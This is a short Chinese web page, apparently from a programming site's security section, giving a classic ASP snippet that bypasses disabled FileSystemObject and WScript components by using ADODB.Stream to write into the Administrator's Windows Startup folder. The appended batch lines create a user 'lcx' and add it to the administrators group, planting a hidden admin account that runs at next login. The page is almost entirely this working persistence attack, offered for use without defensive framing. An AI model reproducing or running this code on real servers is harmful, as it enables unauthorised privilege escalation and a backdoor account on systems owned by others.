跨越fso.wsh.aplication写文件

 
　<% 
on error resume next 
dim lcx 
set lcx=server.CreateObject("Adodb.Stream") 
lcx.Open 
lcx.Type=2 
lcx.CharSet="gb2312" 
lcx.LoadFromFile "C:Documents and SettingsAdministrator「开始」菜单\程序启动\cook.bat" 
lcx.Position=lcx.Size 
lcx.writetext "net user lcx lcx /add"&chr(10)&"net localgroup administrators lcx /add" 
lcx.SaveToFile "C:Documents and SettingsAdministrator「开始」菜单\程序启动\cook.bat",2 
lcx.Close 
set lcx=nothing 
%> 

补充：综合编程 , 安全编程 ,

上一个：提交信息关键字过滤类源码
下一个：Win32环境下动态链接库(DLL)编程原理